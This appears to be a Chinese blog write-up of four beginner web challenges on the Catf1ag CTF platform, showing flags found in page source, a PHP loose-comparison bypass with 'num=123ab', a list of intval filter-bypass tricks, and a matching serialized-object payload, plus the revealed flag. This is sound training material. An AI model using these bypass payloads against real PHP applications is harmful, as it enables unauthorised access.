Catf1ag CTF Web(一)

CSDN 2024-09-06 10:33:01 阅读 92

前言

Catf1agCTF 是一个面向所有CTF(Capture The Flag)爱好者的综合训练平台,尤其适合新手学习和提升技能 。该平台由catf1ag团队打造,拥有超过200个原创题目,题目设计注重知识点的掌握,旨在帮助新手掌握CTF相关的各种技能 。除了新手题目,平台也包含难度不一的题目,适合不同水平的CTF参与者 。

平台上的题目类型多样,包括WEB、MISC、CRYPTO、LINUX、PWN/ATTACK、REVERSE等,题目分数制度从60分到100分不等,难度从1星到5星 。题目提交时需要包含完整的题目环境、flag以及writeup,以确保题目的完整性和可解性 。

此外,Catf1agCTF平台还提供了一些辅助工具和资源,如在线工具箱、SRC资料和HW资料等,以帮助用户更好地进行学习和实战演练 。平台的网址为 https://catf1ag.cn/,有意向的用户可以通过官方邮箱catf1ag@163.com进行联系 。对于想要加入交流的用户,平台还提供了官方QQ群和频道,方便用户之间的互动和交流 。

需要注意的是,平台上的部分题目可能需要特定的环境配置,例如WEB题目会包含dockerfile,而PWN/ATTACK题目则必须包含dockerfile以确保题目环境的完整性 。对于题目的flag格式,平台有统一的要求,即flag需要以"catf1ag{}"的格式呈现 。

总的来说,Catf1agCTF是一个资源丰富、适合各个水平CTF爱好者的训练平台,无论是新手还是有经验的参与者,都能在这里找到适合自己的学习和提升机会。

一、Web 签到

打开靶场

右键查看源码

搜索关键字找到 flag,提交时要反转一下 

二、flag在哪呢?

打开靶场

一样的启动实例查看网页源代码拿到 flag

三、intval

打开靶场

给出了源码,现在来审计 

intval() 函数用于获取变量的整数值 

汇总一下intval()函数漏洞的绕过思路:

1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。

2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。

3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。

4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)

5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。

6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。

先输入 /index.php 

<code><?php

# 禁止显示所有错误信息

error_reporting(0);

# 设置响应头,指定内容类型为 HTML 文本,并使用 UTF-8 编码

header("Content-Type:text/html;charset=utf-8");

# 包含外部文件 flag.php

include('flag.php');

# 展示当前文件的源代码

show_source('./index.php');

# 获取用户通过 GET 请求传入的 num 参数,并将其赋值给 $num 变量

$num = $_GET['num'];

# 将 $num 转换为整数,并将结果赋值给 $num2 变量。intval() 函数会将非数字的部分截断,并返回转换后的整数

$num2 = intval($num);

# 首先检查 $num 是否被设置(即用户是否提供了 num 参数),并且 $num 的值不等于字符串 '123'

if(isset($num) && $num != '123'){

# 检查 $num 是否等于整数 123

if($num == 123){

echo $flag;

}else{

echo 'flag{this_flag_is_False}';

}

}else{

echo '你输入点东西行不行...';

}

?> 你输入点东西行不行...

再绕过 intval 函数 

http://subject.catf1ag.cn:44079/index.php?num=123ab

拿到 flag 

四、easy_unser_1

打开靶场

同样也是代码审计 

反序列化漏洞

<code><?php

//error_reporting(0);

show_source('./index.php');

class flag_in_there{

public $name;

public $age;

public function __construct($name,$age){

$this->name = $name;

$this->age = $age;

}

public function get_flag(){

echo "hello,i'm '$this->name',now '$this->age' years";

}

}

# 通过 new flag_in_there('vfree','19') 创建一个 flag_in_there 类的实例 $flag,并传入 'vfree' 作为 $name,'19' 作为 $age

$flag = new flag_in_there('vfree','19');

# serialize($flag) 将 $flag 对象序列化为字符串 $ser

$ser = serialize($flag);

# 通过 $_GET['str'] 获取用户通过 URL 参数 str 传入的字符串,并将其赋值给 $un

$un = $_GET['str'];

if($ser == $un){

include('flag.php');

echo $flag;

}else{

echo "你真棒~";

}

?>

我们可以输出一下 $ser 的值

class flag_in_there{

public $name;

public $age;

public function __construct($name,$age){

$this->name = $name;

$this->age = $age;

}

public function get_flag(){

echo "hello,i'm '$this->name',now '$this->age' years";

}

}

$flag = new flag_in_there('vfree','19');

$ser = serialize($flag);

echo $ser

输出 

O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

然后构造url:

http://subject.catf1ag.cn:49640/index.php?str=O:13:“flag_in_there”:2:{s:4:“name”;s:5:“vfree”;s:3:“age”;s:2:“19”;}

显示flag:catf1ag{eauigjs4pmfc1d2wq3xkvl0h7b5rony89zt6}



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。